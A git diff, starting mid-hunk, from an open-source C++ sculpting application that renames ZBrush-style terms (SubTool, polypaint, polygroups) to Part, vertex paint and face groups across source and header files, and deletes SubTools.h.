- if (doc.subtools[size_t(i)].id != scanId) continue;
- if (keepScan) doc.subtools[size_t(i)].visible = false;
- else doc.removeSubtool(i);
+ for (int i = 0; i < doc.partCount(); ++i) {
+ if (doc.parts[size_t(i)].id != scanId) continue;
+ if (keepScan) doc.parts[size_t(i)].visible = false;
+ else doc.removePart(i);
break;
}
doc.modified = true;
@@ -1762,8 +1762,8 @@ bool sculptableOptionsFromArgs(const Args& a, SculptableOptions& o, std::string&
error = "front and up must not be parallel";
return false;
}
- const std::string color = argString(a, "color", "polypaint");
- if (color == "polypaint") o.color = SculptableColor::Polypaint;
+ const std::string color = argString(a, "color", "vertexpaint");
+ if (color == "vertexpaint") o.color = SculptableColor::VertexPaint;
else if (color == "texture") o.color = SculptableColor::Texture;
else if (color == "none") o.color = SculptableColor::None;
else {
@@ -1828,7 +1828,7 @@ void registerSculptableCommands(CommandRegistry& reg) {
res.surface.cell = std::max({b.extent().x, b.extent().y, b.extent().z}) / float(std::max(o.surface.resolution, 32));
if (doc.splats.empty() && o.color != SculptableColor::None) o.color = SculptableColor::None;
if (!finishSculptable(doc.splats, o, res, err)) return {false, err};
- return {true, applySculptableFinish(doc, res, doc.activeSubtool, argBool(a, "keep_scan", true))};
+ return {true, applySculptableFinish(doc, res, doc.activePart, argBool(a, "keep_scan", true))};
}
if (doc.splats.empty()) return {false, "No splats loaded"};
if (!makeSculptableScan(doc.splats, o, res, err)) return {false, err};
diff --git a/src/core/Sculptable.h b/src/core/Sculptable.h
index 9d993ad6..3d0170f1 100644
--- a/src/core/Sculptable.h
+++ b/src/core/Sculptable.h
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Make sculptable (Splats palette): one click from a Gaussian-splat capture to a clean, sculptable,
-// animation-ready SubTool with the capture's colours.
+// animation-ready Part with the capture's colours.
//
// 1. Surface. Every Gaussian adds its opacity-weighted density to a voxel grid (in parallel, in z slabs, so
// the sum is the same with any number of threads). Cells over the density threshold are the shell; gaps
@@ -16,7 +16,7 @@
// found on a depth + colour image of the scan seen from the front, and turned into QRemesh Guides: rings
// round the eyes and the mouth, the nasolabial lines, mirrored across the face so the loops are symmetric.
// The user can review and nudge the landmarks before remeshing (the app's Review guides step).
-// 3. Colour. Every vertex (polypaint) or texel (Auto UV + a texture) takes the colour of the splats on the
+// 3. Colour. Every vertex (vertex paint) or texel (Auto UV + a texture) takes the colour of the splats on the
// surface around it, weighted by opacity and distance, with splats behind the surface faded out.
// Optionally the quad mesh is divided into subdivision levels and the scan's detail projected onto the top
// level (as ProjectAll), so the user sculpts with levels.
@@ -98,7 +98,7 @@ private:
std::vector<uint32_t> cellStart_; // CSR: splats of cell c are [cellStart_[c], cellStart_[c + 1])
};
-// Sets the polypaint of every vertex from the splats. Vertices with no splat near take their neighbours' colour;
+// Sets the vertex paint of every vertex from the splats. Vertices with no splat near take their neighbours' colour;
// returns how many there were.
size_t colorFromSplats(Mesh& mesh, const SplatColorSampler& sampler);
// Bakes the splat colour into a size x size texture on the mesh's UVs (it must have UVs); painting then goes
@@ -128,7 +128,7 @@ struct FaceLandmarks {
const glm::vec3& point(int i) const;
};
-// Looks for a face on the mesh seen from `frame.front` (depth relief and, with polypaint, darkness of the
+// Looks for a face on the mesh seen from `frame.front` (depth relief and, with vertex paint, darkness of the
// eyes and mouth). False with `why` set when nothing face-like is found.
bool detectFaceLandmarks(const Mesh& mesh, const FaceFrame& frame, FaceLandmarks& out, std::string& why);
// Makes the landmarks mirror images of each other across the face's middle (the plane through the nose tip
@@ -151,7 +151,7 @@ int sculptablePresetQuads(SculptablePreset preset);
const char* sculptablePresetName(SculptablePreset preset); // game, film, sculpt
bool parseSculptablePreset(const std::string& text, SculptablePreset& out);
-enum class SculptableColor { None, Polypaint, Texture };
+enum class SculptableColor { None, VertexPaint, Texture };
struct SculptableOptions {
SplatSurfaceOptions surface;
@@ -160,14 +160,14 @@ struct SculptableOptions {
bool symmetry = true; // QRemesh mirrors across the world axis nearest the face's right (auto plane)
bool faceGuides = true; // look for a face and add guides (when no guides are given)
FaceFrame frame;
- SculptableColor color = SculptableColor::Polypaint;
+ SculptableColor color = SculptableColor::VertexPaint;
int textureSize = 2048;
int levels = 0; // subdivision levels on top of the quad mesh, the scan's detail projected onto them
uint32_t seed = 1;
};
struct SculptableResult {
- Mesh scan; // the watertight voxel surface, with the splat colours as polypaint
+ Mesh scan; // the watertight voxel surface, with the splat colours as vertex paint
Mesh mesh; // the sculptable result (quads, levels, colour)
FaceLandmarks landmarks; // when a face was found (or given)
std::vector<QRemeshGuide> guides;
@@ -179,7 +179,7 @@ struct SculptableResult {
std::string report() const; // one status line
};
-// Stage 1: the scan (surface + polypaint) and, with options.faceGuides, the landmarks and guides.
+// Stage 1: the scan (surface + vertex paint) and, with options.faceGuides, the landmarks and guides.
bool makeSculptableScan(const SplatCloud& cloud, const SculptableOptions& options, SculptableResult& result,
std::string& error, const SculptableProgress& progress = {});
// Stage 2: QRemesh `result.scan` along `result.guides`, then levels and colour, into `result.mesh`.
@@ -189,7 +189,7 @@ bool finishSculptable(const SplatCloud& cloud, const SculptableOptions& options,
// --- Test subjects (no downloads) ---------------------------------------------------------------------------
// A stylised head facing +Z (Y up), about 1.6 wide: nose, eye sockets with painted eyes, brows, lips, chin and
-// hair, as a coloured mesh (polypaint). `landmarks` (optional): where its face landmarks were designed.
+// hair, as a coloured mesh (vertex paint). `landmarks` (optional): where its face landmarks were designed.
Mesh makeTestHead(int subdivisions = 6, FaceLandmarks* landmarks = nullptr);
// A mug-like object with a thin handle (no cavity), coloured.
Mesh makeTestObject(int resolution = 160);
@@ -201,18 +201,18 @@ struct TestCaptureOptions {
bool openBottom = false; // no splats on the lowest 15% (a subject standing on a table)
uint32_t seed = 7;
};
-// The mesh as a capture-like splat cloud: flat surfels in its polypaint colours (display sRGB), plus the
+// The mesh as a capture-like splat cloud: flat surfels in its vertex paint colours (display sRGB), plus the
// options' imperfections.
SplatCloud makeTestCapture(const Mesh& mesh, const TestCaptureOptions& options);
-// Adds the result to the scene as SubTools named after the capture: "<name> Scan" (hidden; the source to
+// Adds the result to the scene as Parts named after the capture: "<name> Scan" (hidden; the source to
// ProjectAll from again) when `keepScan`, then "<name>" made active. An untouched starting sphere is hidden.
// Returns the status message.
std::string applySculptable(Document& doc, SculptableResult& result, bool keepScan);
// Stage 1 into the scene: the scan as "<name> Scan", made active, with the face guides. Returns the status message
// (with the landmarks as JSON when a face was found).
std::string applySculptableScan(Document& doc, SculptableResult& result);
-// Stage 2 into the scene: the result next to the active scan SubTool `scanIndex` (hidden, or removed without
+// Stage 2 into the scene: the result next to the active scan Part `scanIndex` (hidden, or removed without
// `keepScan`), named like it without " Scan", made active. Returns the status message.
std::string applySculptableFinish(Document& doc, SculptableResult& result, int scanIndex, bool keepScan);
diff --git a/src/core/SelectionSets.cpp b/src/core/SelectionSets.cpp
index 62fc48dd..346cf5c2 100644
--- a/src/core/SelectionSets.cpp
+++ b/src/core/SelectionSets.cpp
@@ -32,7 +32,7 @@ struct ChannelName {
uint32_t bit;
const char* name;
};
-constexpr ChannelName kChannelNames[] = {{kSetMask, "mask"}, {kSetPolygroups, "polygroups"}, {kSetPaint, "paint"},
+constexpr ChannelName kChannelNames[] = {{kSetMask, "mask"}, {kSetFaceGroups, "facegroups"}, {kSetPaint, "paint"},
{kSetVisibility, "visibility"}, {kSetUvs, "uvs"}, {kSetMorph, "morph"}};
// --- Little-endian bytes ---
@@ -146,7 +146,7 @@ void encodeChannels(SelectionSet& s, const float* mask, const uint32_t* groups,
if (!ones)
for (const SetRun& r : s.maskRuns) s.maskValues.insert(s.maskValues.end(), mask + r.start, mask + r.start + r.length);
}
- if (s.has(kSetPolygroups)) {
+ if (s.has(kSetFaceGroups)) {
for (size_t t = 0; t < nt;) {
const uint32_t id = groups ? groups[t] : 0u;
size_t u = t + 1;
@@ -280,13 +280,13 @@ bool parseSetChannels(const std::string& text, uint32_t& out, std::string& error
word.clear();
if (w == "all") out |= kSetAllChannels;
else if (w == "mask") out |= kSetMask;
- else if (w == "polygroups" || w == "groups" || w == "polygroup" || w == "face_groups" || w == "facegroups") out |= kSetPolygroups;
- else if (w == "paint" || w == "colors" || w == "colours" || w == "polypaint" || w == "vertex_paint") out |= kSetPaint;
+ else if (w == "facegroups" || w == "groups" || w == "facegroup" || w == "face_groups") out |= kSetFaceGroups;
+ else if (w == "paint" || w == "colors" || w == "colours" || w == "vertexpaint" || w == "vertex_paint") out |= kSetPaint;
else if (w == "visibility" || w == "hidden" || w == "visible") out |= kSetVisibility;
else if (w == "uvs" || w == "uv") out |= kSetUvs;
else if (w == "morph" || w == "shape" || w == "positions") out |= kSetMorph;
else {
- error = "Unknown channel '" + w + "' (use mask, polygroups, paint, visibility, uvs, morph or all)"; // marks-pending
+ error = "Unknown channel '" + w + "' (use mask, facegroups, paint, visibility, uvs, morph or all)";
return false;
}
return true;
@@ -385,7 +385,7 @@ SelectionSet captureSelectionSet(const Mesh& mesh, std::string name, uint32_t ch
s.level = subdivCurrentLevel(mesh);
s.vertexCount = uint32_t(mesh.vertexCount());
s.triangleCount = uint32_t(mesh.triangleCount());
- encodeChannels(s, mesh.hasMask() ? mesh.mask.data() : nullptr, mesh.hasPolygroups() ? mesh.polygroups.data() : nullptr,
+ encodeChannels(s, mesh.hasMask() ? mesh.mask.data() : nullptr, mesh.hasFaceGroups() ? mesh.facegroups.data() : nullptr,
mesh.hasColors() ? mesh.colors.data() : nullptr, mesh.hasHidden() ? mesh.hidden.data() : nullptr,
&mesh.uvs, &mesh.positions);
return s;
@@ -400,7 +400,7 @@ bool makeSelectionSet(std::string name, const SelectionSetData& d, uint32_t vert
return false;
};
if (!check(kSetMask, d.mask.size(), vertexCount, "mask") ||
- !check(kSetPolygroups, d.polygroups.size(), triangleCount, "polygroups") ||
+ !check(kSetFaceGroups, d.facegroups.size(), triangleCount, "facegroups") ||
!check(kSetPaint, d.colors.size(), vertexCount, "paint") ||
!check(kSetVisibility, d.hidden.size(), triangleCount, "hidden") ||
!check(kSetUvs, d.uvs.size(), size_t(triangleCount) * 3, "uvs") ||
@@ -412,7 +412,7 @@ bool makeSelectionSet(std::string name, const SelectionSetData& d, uint32_t vert
out.level = level;
out.vertexCount = vertexCount;
out.triangleCount = triangleCount;
- encodeChannels(out, d.mask.empty() ? nullptr : d.mask.data(), d.polygroups.empty() ? nullptr : d.polygroups.data(),
+ encodeChannels(out, d.mask.empty() ? nullptr : d.mask.data(), d.facegroups.empty() ? nullptr : d.facegroups.data(),
d.colors.empty() ? nullptr : d.colors.data(), d.hidden.empty() ? nullptr : d.hidden.data(), &d.uvs,
&d.positions);
return true;
@@ -427,10 +427,10 @@ void decodeSelectionSet(const SelectionSet& s, uint32_t channels, SelectionSetDa
for (const SetRun& r : s.maskRuns)
for (uint32_t i = 0; i < r.length; ++i) out.mask[r.start + i] = s.maskValues.empty() ? 1.0f : s.maskValues[k++];
}
- if (out.channels & kSetPolygroups) {
- out.polygroups.reserve(s.triangleCount);
- for (const SetRun& r : s.groupRuns) out.polygroups.insert(out.polygroups.end(), r.length, r.start);
- out.polygroups.resize(s.triangleCount, 0u);
+ if (out.channels & kSetFaceGroups) {
+ out.facegroups.reserve(s.triangleCount);
+ for (const SetRun& r : s.groupRuns) out.facegroups.insert(out.facegroups.end(), r.length, r.start);
+ out.facegroups.resize(s.triangleCount, 0u);
}
if (out.channels & kSetPaint) {
out.colors.assign(s.vertexCount, kWhite);
@@ -462,7 +462,7 @@ bool selectionSetAt(const Mesh& mesh, const SelectionSet& s, uint32_t channels,
bool ok = true;
if (!out.mask.empty()) ok &= subdivMapVertices(mesh, from, to, out.mask);
if (!out.colors.empty()) ok &= subdivMapVertices(mesh, from, to, out.colors, kWhite, false);
- if (!out.polygroups.empty()) ok &= subdivMapTriangles(mesh, from, to, out.polygroups);
+ if (!out.facegroups.empty()) ok &= subdivMapTriangles(mesh, from, to, out.facegroups);
if (!out.hidden.empty()) ok &= subdivMapTriangles(mesh, from, to, out.hidden);
if (!out.uvs.empty()) ok &= subdivMapCorners(mesh, from, to, out.uvs);
if (!out.positions.empty()) {
@@ -506,10 +506,10 @@ std::vector<uint8_t> packSelectionSet(const SelectionSet& s) {
p.words(s.maskValues.data(), s.maskValues.size());
o.section(kSetMask, p);
}
- if (s.has(kSetPolygroups)) {
+ if (s.has(kSetFaceGroups)) {
Out p;
p.runs(s.groupRuns);
- o.section(kSetPolygroups, p);
+ o.section(kSetFaceGroups, p);
}
if (s.has(kSetPaint)) {
Out p;
@@ -580,11 +580,11 @@ bool unpackSelectionSet(const uint8_t* data, size_t size, SelectionSet& out, std
if (!p.runs(s.maskRuns) || !runsValid(s.maskRuns, nv, covered) || !p.u32(ones) ||
(!ones && !p.words(covered, 1, s.maskValues)))
return bad("mask");
- } else if (tag == kSetPolygroups) {
- if (!p.runs(s.groupRuns)) return bad("polygroups");
+ } else if (tag == kSetFaceGroups) {
+ if (!p.runs(s.groupRuns)) return bad("facegroups");
uint64_t total = 0;
for (const SetRun& r : s.groupRuns) total += r.length;
- if (total != nt) return bad("polygroups");
+ if (total != nt) return bad("facegroups");
} else if (tag == kSetPaint) {
if (!p.runs(s.paintRuns) || !runsValid(s.paintRuns, nv, covered) || !p.words(covered, 3, s.paintValues))
return bad("paint");
@@ -765,12 +765,12 @@ bool restoreSelectionSet(Document& doc, const std::string& name, uint32_t channe
m.facesDirty = true;
}
}
- if (use & kSetPolygroups) {
+ if (use & kSetFaceGroups) {
for (uint32_t t = 0; t < m.triangleCount(); ++t)
- if (m.polygroupAt(t) != d.polygroups[t]) r.polygroups.add(t, m.polygroupAt(t));
- if (!r.polygroups.empty()) {
- std::vector<uint32_t>& groups = m.ensurePolygroups();
- for (uint32_t t : r.polygroups.indices) groups[t] = d.polygroups[t];
+ if (m.facegroupAt(t) != d.facegroups[t]) r.facegroups.add(t, m.facegroupAt(t));
+ if (!r.facegroups.empty()) {
+ std::vector<uint32_t>& groups = m.ensureFaceGroups();
+ for (uint32_t t : r.facegroups.indices) groups[t] = d.facegroups[t];
m.facesDirty = true;
}
}
@@ -988,7 +988,7 @@ CommandResult result(bool ok, std::string message) { return {ok, std::move(messa
} // namespace
void registerSelectionSetCommands(CommandRegistry& reg) {
- const std::string channelHelp = "Comma-separated channels: mask, polygroups, paint (vertex paint), visibility (hidden " // marks-pending
+ const std::string channelHelp = "Comma-separated channels: mask, facegroups, paint (vertex paint), visibility (hidden "
"faces), uvs, morph (the shape), or all";
reg.add({"selection_set_store",
"Store a named selection set on the active Part: a snapshot of the channels you choose. Storing again with "
diff --git a/src/core/SelectionSets.h b/src/core/SelectionSets.h
index 952dd28f..49f0e4e4 100644
--- a/src/core/SelectionSets.h
+++ b/src/core/SelectionSets.h
@@ -1,21 +1,21 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Selection Sets (Tool > Selection Sets): any number of named snapshots of a Part's mask, polygroups, vertex
+// Selection Sets (Tool > Selection Sets): any number of named snapshots of a Part's mask, face groups, vertex
// paint, visibility (hidden faces), UVs and shape (the morph target), each holding the channels it was stored
// with. A set is stored at the subdivision level the Part is at and restores at any level of the same stack: its
// values travel through the levels as the stack passes attributes on (core/Multires.h, subdivMapVertices ...),
// and the shape travels as an offset from the level's own shape, so the detail of the levels in between stays.
//
// Sets are compact: masks, vertex paint and visibility keep only runs of the elements that differ from the
-// default (unmasked, white, shown), polygroups are run-length coded, UVs and shapes are kept as they are. A set is
+// default (unmasked, white, shown), face groups are run-length coded, UVs and shapes are kept as they are. A set is
// immutable once made and shared (std::shared_ptr) by every copy of the mesh, so undo steps cost a pointer.
//
-// Beyond ZBrush: sets combine (union, intersect, subtract) into new sets or onto the current mask and visibility,
+// Beyond sets combine (union, intersect, subtract) into new sets or onto the current mask and visibility,
// a quick set takes the visible faces, the Morph brush and Morph to Set pull the surface toward any set's shape
// (at any level), and every operation is a command, so Python (`sculptforge`), sculptforge-cli, MCP and the AI
// assistant push and pull sets too. Sets travel with projects (.sfproj), as their own `.sfsets` files, and in
-// USD exports (GeomSubsets for visibility and polygroups, primvars for the rest; read back on import).
+// USD exports (GeomSubsets for visibility and face groups, primvars for the rest; read back on import).
#pragma once
#include "core/Mesh.h"
@@ -36,14 +36,14 @@ class Json;
// What a set holds (bits).
enum SetChannel : uint32_t {
kSetMask = 1,
- kSetPolygroups = 2,
+ kSetFaceGroups = 2,
kSetPaint = 4, // vertex paint (Mesh::colors)
kSetVisibility = 8, // hidden faces
kSetUvs = 16,
kSetMorph = 32, // the shape (vertex positions): the Morph brush's target
kSetAllChannels = 63,
};
-// "mask,polygroups,paint,visibility,uvs,morph" (any order, also "all", "groups", "colors", "hidden", "shape").
+// "mask,face groups,paint,visibility,uvs,morph" (any order, also "all", "groups", "colors", "hidden", "shape").
bool parseSetChannels(const std::string& text, uint32_t& out, std::string& error);
std::string setChannelNames(uint32_t channels); // "mask, visibility"
@@ -67,7 +67,7 @@ struct SelectionSet {
// Mask: runs of masked vertices and their values in run order (no values: every one is exactly 1).
std::vector<SetRun> maskRuns;
std::vector<float> maskValues;
- // Polygroups: runs of triangles with one id (start = the id, length = how many).
+ // Face groups: runs of triangles with one id (start = the id, length = how many).
std::vector<SetRun> groupRuns;
// Vertex paint: runs of vertices that aren't white, and their colours (linear RGB).
std::vector<SetRun> paintRuns;
@@ -92,7 +92,7 @@ struct SelectionSetList {
struct SelectionSetData {
uint32_t channels = 0;
std::vector<float> mask;
- std::vector<uint32_t> polygroups;
+ std::vector<uint32_t> facegroups;
std::vector<glm::vec3> colors;
std::vector<uint8_t> hidden;
std::vector<glm::vec2> uvs;
diff --git a/src/core/StarterMeshes.cpp b/src/core/StarterMeshes.cpp
index 92c26961..7a181180 100644
--- a/src/core/StarterMeshes.cpp
+++ b/src/core/StarterMeshes.cpp
@@ -186,8 +186,8 @@ bool loadStarterMesh(const StarterMesh& mesh, Document& doc, int levels, std::st
std::string name;
};
std::vector<Part> parts;
- for (int i = 0; i < int(loaded.subtools.size()); ++i) {
- Part p{std::move(loaded.subtoolMesh(i)), loaded.subtools[size_t(i)].name};
+ for (int i = 0; i < int(loaded.parts.size()); ++i) {
+ Part p{std::move(loaded.partMesh(i)), loaded.parts[size_t(i)].name};
for (int l = 0; l < levels; ++l)
if (!subdivDivide(p.mesh, true, error)) return false;
parts.push_back(std::move(p));
@@ -198,8 +198,8 @@ bool loadStarterMesh(const StarterMesh& mesh, Document& doc, int levels, std::st
}
if (parts.size() == 1) parts[0].name = mesh.name; // a one-object OBJ named its Part after the file
doc.setMesh(std::move(parts[0].mesh), parts[0].name);
- for (size_t i = 1; i < parts.size(); ++i) doc.addSubtool(std::move(parts[i].mesh), parts[i].name, false);
- doc.selectSubtool(0);
+ for (size_t i = 1; i < parts.size(); ++i) doc.addPart(std::move(parts[i].mesh), parts[i].name, false);
+ doc.selectPart(0);
doc.path.clear();
return true;
}
@@ -221,7 +221,7 @@ void registerStarterMeshCommands(CommandRegistry& registry) {
std::string error;
if (!loadStarterMesh(*m, doc, int(argNumber(a, "levels", -1)), error)) return {false, error};
size_t vertices = 0;
- for (int i = 0; i < int(doc.subtools.size()); ++i) vertices += doc.subtoolMesh(i).vertexCount();
+ for (int i = 0; i < int(doc.parts.size()); ++i) vertices += doc.partMesh(i).vertexCount();
const std::string levels = subdivLevelText(doc.mesh);
return {true, std::string("New ") + m->name + " (" + std::to_string(vertices) + " vertices" +
(levels.empty() ? std::string() : ", " + levels) + ")"};
diff --git a/src/core/Stroke.h b/src/core/Stroke.h
index 88861c8f..15556d29 100644
--- a/src/core/Stroke.h
+++ b/src/core/Stroke.h
@@ -37,7 +37,7 @@ private:
float residual_ = 0.0f;
};
-// ZBrush-style lazy mouse: the brush point trails the cursor by `radius`
+// classic lazy mouse: the brush point trails the cursor by `radius`
// pixels and only moves once the string is taut, filtering out hand jitter.
struct LazyMouse {
float radius = 40.0f;
diff --git a/src/core/StrokePopup.h b/src/core/StrokePopup.h
index ea6ee80c..ad789b93 100644
--- a/src/core/StrokePopup.h
+++ b/src/core/StrokePopup.h
@@ -17,7 +17,7 @@ namespace sf {
// A modifier kept on until it is picked again (or another brush is picked): strokes act as if its keys were held.
enum class StrokeLatch { None, Smooth, Mask, Select };
const char* strokeLatchName(StrokeLatch latch); // "Smooth", "Mask", "Select"; "" for None
-// The keys a latch stands for (the ZBrush meanings the sculpting code reads): Smooth = Shift, Mask = Ctrl,
+// The keys a latch stands for (the classic meanings the sculpting code reads): Smooth = Shift, Mask = Ctrl,
// Select = Ctrl+Shift.
struct StrokeLatchKeys {
bool shift = false, ctrl = false;
diff --git a/src/core/SubTools.h b/src/core/SubTools.h
deleted file mode 100644
index ada2259a..00000000
--- a/src/core/SubTools.h
+++ /dev/null
@@ -1,51 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// SubTools, ZBrush style: a scene is a list of separate meshes (body, eyes,
-// teeth, armour) that are sculpted one at a time, shown or hidden, merged and
-// split. The data model lives in Document (see SubTool); this file holds the
-// mesh operations and the subtool_* commands.
-#pragma once
-
-#include "core/Document.h"
-#include "io/MeshObject.h"
-
-#include <string>
-#include <vector>
-
-namespace sf {
-
-class CommandRegistry;
-
-// Concatenates meshes into one. Every attribute any input has is kept (inputs
-// without it get the default), polygroup ids are offset so each input keeps
-// its own groups (inputs without polygroups become one group each), and sculpt
-// layers are matched by name.
-Mesh mergeMeshes(const std::vector<const Mesh*>& meshes);
-
-// The visible SubTools merged into one mesh (for exporters that write a single
-// mesh). With one SubTool this is a copy of it, whether shown or not.
-Mesh mergedVisibleMesh(const Document& doc);
-
-// The visible SubTools that have triangles, in list order and named after
-// them, for exporters that write one object per SubTool. With a single SubTool
-// it is that one (shown or not) named doc.assetName(), so one-object exports
-// stay as they were.
-std::vector<MeshObjectRef> visibleSubtoolObjects(const Document& doc);
-
-// Replaces the scene with one SubTool per object (the first one active), named
-// after the objects. A single object, or an unnamed one, is named
-// `fallbackName` (e.g. the file name). Clears the edit history like setMesh.
-void setSceneObjects(Document& doc, std::vector<MeshObject> objects, const std::string& fallbackName);
-
-// One mesh per polygroup, in increasing group id order (empty if there's only one group).
-std::vector<Mesh> splitByPolygroups(const Mesh& mesh);
-// One mesh per connected piece, largest first (empty if the mesh is one piece).
-std::vector<Mesh> splitIntoParts(const Mesh& mesh);
-
-// subtool_list, subtool_select, subtool_append, subtool_duplicate, subtool_delete,
-// subtool_rename, subtool_visibility, subtool_solo, subtool_show_all, subtool_move,
-// subtool_merge_down, subtool_merge_visible, subtool_split_groups, subtool_split_parts.
-void registerSubToolCommands(CommandRegistry& registry);
-
-} // namespace sf
diff --git a/src/core/SurfaceQuery.h b/src/core/SurfaceQuery.h
index 70497468..c9cec356 100644
--- a/src/core/SurfaceQuery.h
+++ b/src/core/SurfaceQuery.h
@@ -3,7 +3,7 @@
//
// Read-only spatial queries on a fixed surface, safe to call from many threads at once (core/BVH.h is the
// sculpting BVH: refittable, but its queries share scratch buffers). Used by QRemesh (snapping the new
-// quads onto the sculpt) and ProjectAll (shooting rays at the source SubTools), plus the deviation
+// quads onto the sculpt) and ProjectAll (shooting rays at the source Parts), plus the deviation
// (Hausdorff) measure the tests and the status line report.
#pragma once
@@ -62,7 +62,7 @@ private:
FlatBVH bvh_;
};
-// Closest points on a set of line segments (mesh boundaries, polygroup borders).
+// Closest points on a set of line segments (mesh boundaries, face group borders).
class SegmentBVH {
public:
void build(std::vector<glm::vec3> a, std::vector<glm::vec3> b);
diff --git a/src/core/Tablet.h b/src/core/Tablet.h
index 230d7d84..53b66006 100644
--- a/src/core/Tablet.h
+++ b/src/core/Tablet.h
@@ -39,7 +39,7 @@ struct PressureCurve {
// What the eraser end or a side button does.
enum class PenAction {
None,
- Invert, // like holding Alt: brushes subtract (ZBrush Zsub), Alt+drag on the background pans
+ Invert, // like holding Alt: brushes subtract (Lower), Alt+drag on the background pans
Smooth, // like holding Shift: the Smooth brush
RotateView, // hold the button and move the pen to orbit
PanView, // hold the button and move the pen to pan
diff --git a/src/core/Texture.cpp b/src/core/Texture.cpp
index be1b4f61..505c4619 100644
--- a/src/core/Texture.cpp
+++ b/src/core/Texture.cpp
@@ -1754,7 +1754,7 @@ size_t textureFill(Mesh& m, const glm::vec3& color, const std::vector<float>& vw
return changed;
}
-void polypaintToTexture(Mesh& m) {
+void vertexpaintToTexture(Mesh& m) {
if (!hasTexture(m)) return;
PaintTexture& tex = mutableTexture(m);
const int layer = tex.layers.empty() ? -1 : tex.activeLayer;
@@ -1769,7 +1769,7 @@ void polypaintToTexture(Mesh& m) {
compositeTextureAll(tex);
}
-void textureToPolypaint(Mesh& m) {
+void textureToVertexPaint(Mesh& m) {
if (!hasTexture(m)) return;
const size_t nv = m.vertexCount();
std::vector<glm::vec3> sum(nv, glm::vec3(0.0f));
diff --git a/src/core/Texture.h b/src/core/Texture.h
index 13defae4..db2102c1 100644
--- a/src/core/Texture.h
+++ b/src/core/Texture.h
@@ -1,19 +1,19 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Texture painting on UV maps: an RGBA texture per SubTool (Mesh::texture), so
+// Texture painting on UV maps: an RGBA texture per Part (Mesh::texture), so
// the colour resolution comes from the texture instead of the mesh density.
//
// Storage is 8-bit sRGB (what PNGs hold); painting blends in linear like
-// polypaint does. Rows are bottom-up (row 0 is v = 0, as OpenGL samples it);
+// vertex paint does. Rows are bottom-up (row 0 is v = 0, as OpenGL samples it);
// PNG export and import flip. A texture has the same Photoshop-style layer
-// stack as polypaint (core/PaintLayer.h): without layers `pixels` is the paint;
+// stack as vertex paint (core/PaintLayer.h): without layers `pixels` is the paint;
// with layers `base` holds the Base layer, every TextureLayer its own colour
// with coverage in alpha, and `pixels` the composite (recomputed for the
// changed rectangle only).
//
// A dab rasterises, in UV space, only the triangles near the brush (BVH), gets
-// each texel's 3D position from its barycentrics and applies polypaint's rules
+// each texel's 3D position from its barycentrics and applies vertex paint's rules
// (falloff, alpha stamp, strength x pressure, mask, hidden faces, symmetry,
// and front faces only). Texels just outside the UV islands (kTextureGutter
// texels) take the colour of the nearest island texel, so seams don't show.
@@ -21,7 +21,7 @@
// tiles they changed (TextureStackUndo); tiles of one colour cost one RGBA value.
//
// Mesh::texture is shared between copies of a mesh (undo snapshots, duplicated
-// SubTools): edits go through mutableTexture(), which copies it first when
+// Parts): edits go through mutableTexture(), which copies it first when
// anyone else holds it, and stack edits replace it (TextureStackUndo).
#pragma once
@@ -198,7 +198,7 @@ glm::vec3 sampleTextureAt(const Mesh& mesh, uint32_t triangle, const glm::vec3&
// --- Painting (brush) ---
// One stroke of the Paint brush into the texture. begin() picks the target layer; dab() paints texels;
// end() moves the undo tiles into the stroke's record. Within a stroke each texel keeps its coverage
-// (repeated dabs build up as polypaint does) and is computed from its colour before the stroke, so 8-bit
+// (repeated dabs build up as vertex paint does) and is computed from its colour before the stroke, so 8-bit
// storage never stalls on small strengths.
class TexturePainter {
public:
@@ -290,16 +290,16 @@ void bakeTexels(const Mesh& mesh, PaintTexture& tex, const BakeFn& fn, bool skip
// Blends `color` into the target layer of every texel with the weight interpolated from `vertexWeight`
// (per vertex 0..1). Returns the number of texels changed.
size_t textureFill(Mesh& mesh, const glm::vec3& color, const std::vector<float>& vertexWeight);
-// Bakes the polypaint (Mesh::colors, composited) into the active texture layer (opaque).
-void polypaintToTexture(Mesh& mesh);
-// Sets the polypaint (active paint layer) of every vertex to the texture's colour at its UVs (seams average).
-void textureToPolypaint(Mesh& mesh);
+// Bakes the vertex paint (Mesh::colors, composited) into the active texture layer (opaque).
+void vertexpaintToTexture(Mesh& mesh);
+// Sets the vertex paint (active paint layer) of every vertex to the texture's colour at its UVs (seams average).
+void textureToVertexPaint(Mesh& mesh);
// The composite as a top-down image (for PNG export), or one layer (-1 = Base).
Image textureImage(const PaintTexture& tex);
// Replaces the Base (or the only) layer with `image` resized to the texture (nearest), as sRGB.
bool loadTextureImage(PaintTexture& tex, const Image& image, std::string& error);
-// --- Texture layer stack (as the polypaint paint_layer_* functions) ---
+// --- Texture layer stack (as the vertex paint paint_layer_* functions) ---
int addTextureLayer(PaintTexture& tex, std::string name, int above = -2);
int duplicateTextureLayer(PaintTexture& tex, int layer);
bool removeTextureLayer(PaintTexture& tex, int layer);
@@ -318,9 +318,9 @@ UndoRecord captureTexture(Mesh& mesh, std::string label);
// Shrinks a captureTexture record to what the edit changed (the tiles that differ, settings), before pushing it.
void finishTextureUndo(UndoRecord& record, const Mesh& mesh);
-// texture_create, texture_delete, texture_import, texture_export, texture_from_polypaint,
-// polypaint_from_texture, paint_target, uv_auto (see core/AutoUv.h).
+// texture_create, texture_delete, texture_import, texture_export, texture_from_vertex paint,
+// vertex paint_from_texture, paint_target, uv_auto (see core/AutoUv.h).
void registerTextureCommands(CommandRegistry& registry);
-// paint_layer_<verb> on the texture's layers (PaintLayer.cpp hands over when the SubTool paints into its texture).
+// paint_layer_<verb> on the texture's layers (PaintLayer.cpp hands over when the Part paints into its texture).
CommandResult textureLayerCommand(Document& doc, const std::string& verb, const Args& args);
} // namespace sf
diff --git a/src/core/TextureChannelCommands.cpp b/src/core/TextureChannelCommands.cpp
index 04706b2d..67fcb66b 100644
--- a/src/core/TextureChannelCommands.cpp
+++ b/src/core/TextureChannelCommands.cpp
@@ -4,7 +4,7 @@
// Commands for material texture painting (core/TextureChannels.h): texture_channels, paint_material,
// channel_view and texture_layer_channel.
#include "core/Document.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include "core/TextureChannels.h"
